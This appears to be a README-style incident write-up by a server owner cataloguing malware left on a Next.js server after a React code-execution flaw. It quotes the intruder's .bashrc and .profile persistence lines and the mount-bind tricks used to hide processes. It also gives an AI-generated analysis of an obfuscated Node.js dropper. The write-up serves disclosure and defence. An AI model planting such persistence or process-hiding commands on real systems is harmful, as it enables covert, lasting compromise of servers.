
malware I found on my server
This is a dump of malware and other suspicious junk I found on the server for my wedding website following the react server side rendering code execution exploit. Its a dinky digital ocean droplet running a fairly pedestrian next js app.
The CVE: https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
A log of server activity showing various spikes and stuff:

The main bad boy seems to be this thing installed in /.local/share/.r0qsv8h1
In my bashrc:
# System
(nohup /.local/share/.r0qsv8h1/.394ly8v9/bin/node /.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
Note the pgreps are there to stop this other fake "meshagent" malware from running. You can read about that in the MESHAGENT.md doc.
in my profile there's the same
# App
(/.local/share/.r0qsv8h1/.394ly8v9/bin/node /.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null
You can see other sispicious servies in SUSPICIOUS_SERVICES.md
Here's an analysis of this main bad malware:
The directory bad contains a self‑contained Node.js runtime bundled with a set of heavily obfuscated JavaScript files.
All evidence points to this being a malicious dropper that silently contacts a remote server, downloads an encrypted payload, decrypts it, writes it to disk, and executes it as a detached background process. The code also periodically checks the server for updates.
The Base64 payload in .5f8562 decodes to:
{
"0": "c6aeb84b-0600-4e82-ae3e-f7d441a2fd7c",
"1": ".fvq2lzj6te.js",
"3": 1765307786421,
"4": "desktop"
}
"1" references the main obfuscated loader script."0" is a UUID likely used by the remote server for tracking."3" is a timestamp (Unix‑epoch ms) indicating when the manifest was generated."4" indicates the intended location (desktop), hinting that the payload may try to hide itself there.node .5f8562), the manifest points to .fvq2lzj6te.js.setInterval timer periodically repeats the download‑decrypt‑run sequence, allowing the attacker to push new or updated payloads without further user interaction.PATH, cwd, etc.) and may perform typical malicious actions such as cryptomining, credential stealing, or remote command execution..r0qsv8h1 directory and any files it may have created (check the user's Desktop and temporary directories for newly‑created executables).This analysis was performed automatically by an AI assistant based on a static examination of the files present in the directory. No runtime execution was performed.
You can read more DEOBFUSCATE.md
| File | Description |
|---|
.394ly8v9/README.md | Standard Node.js README – unrelated to the malicious functionality; present only to make the bundle look legitimate. |
.fvq2lzl64e.js | ~5 KB of obfuscated JavaScript. It builds a JSON‑RPC HTTP request, receives a base64‑encoded payload, decrypts it with a custom cipher, writes the payload to a random file, and executes it via child_process.spawn / execSync. It also spawns a detached background process that repeatedly polls the remote server. |
.lauphhtqrg.js | ~13 KB of obfuscated JavaScript. Implements a similar download‑decrypt‑run loop with its own RC4‑style cipher (dec). Writes the decrypted payload to a generated filename and runs it. Sets up a timer to fetch new payloads later. |
.5f8562 | Plain‑text Base64 string. Decodes to a small JSON manifest: json { "0":"c6aeb84b-0600-4e82-ae3e-f7d441a2fd7c", "1":".fvq2lzj6te.js", "3":1765307786421, "4":"desktop" } This manifest tells the loader which script to execute (.fvq2lzj6te.js) and provides an identifier/timestamp. |
.b0rtqscrkeov | Not yet examined, but the naming pattern suggests it is another component of the same malicious chain. |
bin/node and accompanying lib/ files | A full Node.js runtime, allowing the scripts to run on a system even if Node.js is not installed. |